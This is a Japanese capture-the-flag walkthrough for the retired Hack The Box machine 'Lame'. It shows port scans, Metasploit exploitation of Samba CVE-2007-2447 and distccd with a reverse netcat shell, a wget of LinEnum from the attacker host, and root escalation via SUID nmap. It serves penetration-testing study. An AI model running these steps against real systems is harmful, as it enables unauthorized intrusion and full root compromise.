本稿では、Hack The Boxにて提供されている Retired Machines の「Lame」に関する攻略方法(Walkthrough)について検証します。
Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。
マシンの詳細
エグゼクティブサマリー
ツール
- nmap
- ftp
- searchsploit
- rpcclient
- msfconsole
- python3 -c 'import pty; pty.spawn("/bin/bash")'
- GTFOBins
詳細手順
ネットワークサービススキャン
nmap
IPアドレス 10.10.10.3
をlame.htb
として、/etc/hosts
に追加します。その上で、nmap
を使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -Pn -T4 -A -v lame.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 02:44 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
Initiating Connect Scan at 02:44
Scanning lame.htb (10.10.10.3) [1000 ports]
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Completed Connect Scan at 02:44, 13.52s elapsed (1000 total ports)
Initiating Service scan at 02:44
Scanning 4 services on lame.htb (10.10.10.3)
Completed Service scan at 02:44, 11.74s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.10.3.
Initiating NSE at 02:44
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 02:45, 40.14s elapsed
Initiating NSE at 02:45
Completed NSE at 02:45, 0.61s elapsed
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.22s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -3d00h55m18s, deviation: 2h49m45s, median: -3d02h55m20s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2020-08-22T23:49:17-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
NSE: Script Post-scanning.
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.63 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
ポート番号 | サービス | バージョン |
---|---|---|
21/tcp | ftp | vsftpd 2.3.4 |
22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) |
139/tcp | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
445/tcp | netbios-ssn | netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) |
フルスキャンを実施した結果、追加で気になる稼働サービスを特定することができました。
kali@kali:~$ nmap -Pn -A -p- lame.htb
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
kali@kali:~$ nmap -Pn -p 3632 lame.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-27 02:53 EDT
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.20s latency).
PORT STATE SERVICE
3632/tcp open distccd
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
ポート番号 | サービス | バージョン |
---|---|---|
3632/tcp | distccd | distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) |
FTPサービスのスキャン
まず、FTP
サービス - 21/tcp
に対して匿名接続を試みてみます。注視すべきファイルなどはみつかりませんでした。
kali@kali:~$ ftp lame.htb
Connected to lame.htb.
220 (vsFTPd 2.3.4)
Name (lame.htb:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> quit
221 Goodbye.
vsFTPd 2.3.4
が抱えている脆弱性について、searchsploit
コマンドを使って検索します。
EDB-ID 17491が見つかりました。
kali@kali:~$ searchsploit vsFTPd 2.3.4
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
EDB-ID 17491の記述を読むと、特定の期間に公開されていたvsftpd-2.3.4.tar.gz
アーカイブにバックドアが仕掛けられ、それを利用するものであることがわかります。
なお、このバックドアは2011年7月3日に削除されています。lame.htb
ではこのコードを使うことができません。
別のアプローチについて検討します。
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
SMBサービスのスキャン
Samba
サービスの詳細を列挙してみましょう。rpcclient
コマンドを実行します。残念ながら、匿名接続をサポートしていないようです。
kali@kali:~$ rpcclient -U "" lame.htb
Enter WORKGROUP\'s password:
Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT
Samba smbd 3.0.20-Debian
が抱えている脆弱性について、searchsploit
コマンドを使って検索します。
EDB-ID 16320, CVE-2007-2447 が見つかりました。
kali@kali:~$ searchsploit samba 3.0.20
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
アクセス権の取得
Sambaアプローチ
Metasploitの利用
Sambaが抱える CVE-2007-2447 の脆弱性を突く方法を検討します。
ここでは、攻撃コードの作成、実行を行うためのフレームワークソフトウエアであるMetasploit Framework
を使用します。
kali@kali:~$ msfconsole
msf5 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.5:4444
[*] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.3:58966) at 2020-08-27 00:51:57 -0400
whoami
root
Exploitコードの利用
Oussama Amri氏が公開しているCVE-2007-2447のExploit(Pythonコード)を利用することも可能です。
usermap_script.py
コードは、pysmb
ライブラリに依存しています。このため、同ライブラリをあらかじめインストールしておく必要があります。
kali@kali:~$ sudo apt install python-pip
kali@kali:~$ pip install --user pysmb
kali@kali:~$ git clone https://github.com/amriunix/CVE-2007-2447.git
DistCCアプローチ
distccd v1 ((GNU) 4.2.4
が抱えている脆弱性について、searchsploit
コマンドを使って検索します。
EDB-ID 9915が見つかりました。
kali@kali:~$ searchsploit distcc
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit) | multiple/remote/9915.rb
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Metasploitの利用
DistCC
が抱えるEDB-ID 9915の脆弱性を突くためにMetasploit Framework
を使用します。
kali@kali:~$ msfconsole
msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3632 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(unix/misc/distcc_exec) > exploit
シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/#
システム探索
makis
の/home/makis
ディレクトリの内容を確認します。
root@lame:/# cd /home
cd /home
root@lame:/home# ls
ls
ftp makis service user
root@lame:/home# cd makis
cd makis
root@lame:/home/makis# ls -al
ls -al
total 28
drwxr-xr-x 2 makis makis 4096 Mar 14 2017 .
drwxr-xr-x 6 root root 4096 Mar 14 2017 ..
-rw------- 1 makis makis 1107 Mar 14 2017 .bash_history
-rw-r--r-- 1 makis makis 220 Mar 14 2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14 2017 .bashrc
-rw-r--r-- 1 makis makis 586 Mar 14 2017 .profile
-rw-r--r-- 1 makis makis 0 Mar 14 2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis 33 Mar 14 2017 user.txt
user.txt
フラグを取得します。
root@lame:/home/makis# cat user.txt
cat user.txt
6945{BLOCKED}84c5
root.txt
フラグを取得します。
root@lame:/root# ls -al
ls -al
total 80
drwxr-xr-x 13 root root 4096 Aug 23 13:00 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
-rw------- 1 root root 373 Aug 23 13:00 .Xauthority
lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwx------ 3 root root 4096 May 20 2012 .config
drwx------ 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 Aug 23 13:00 .fluxbox
drwx------ 2 root root 4096 May 20 2012 .gconf
drwx------ 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gstreamer-0.10
drwx------ 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwx------ 5 root root 4096 May 20 2012 .purple
-rwx------ 1 root root 4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 May 20 2012 .ssh
drwx------ 2 root root 4096 Aug 23 13:00 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx------ 1 root root 401 May 20 2012 reset_logs.sh
-rw------- 1 root root 33 Mar 14 2017 root.txt
-rw-r--r-- 1 root root 118 Aug 23 13:00 vnc.log
root@lame:/root# cat root.txt
cat root.txt
92ca{BLOCKED}e9df
特権昇格
「LinEnum」ツールを使ってシステム探索を行います。
$ cd /tmp
$ wget http://10.10.14.5:8081/LinEnum.sh
$ chmod +x LinEnum.sh
$ ./LinEnum.sh
/usr/bin/nmap
コマンドにroot
のSUID
が設定されていることに注目します。
「GTFOBins」は、ローカルのセキュリティ制限を回避するため利用できるバイナリのリストです。
このリストから「nmap」の項目を参照します。
この情報を参考に、次のコマンド構文を試行してみます。特権昇格に成功しました。
nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=0(root) gid=0(root)
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/tmp#
参考情報
Walkthrough
- JorgeCTF 「HackTheBox – Lame (OSCP Like) English Writeup」
- @sanpo_shiho 「【Hack the Box write-up】Lame」
- @yukitsukai47 「Hack The Box[Lame] -Writeup-」
- @ajipon_44 「メモ Lame -Walkthrough-」
その他
- Cybrary Whitepaper 「Guerrilla Red Team: Decentralize the Adversary」, Christopher Cottrell , 2020/8/3
- 「DEF CON 28:Red Team Village:敵対者を蹴散らすゲリラレッドチームの構築」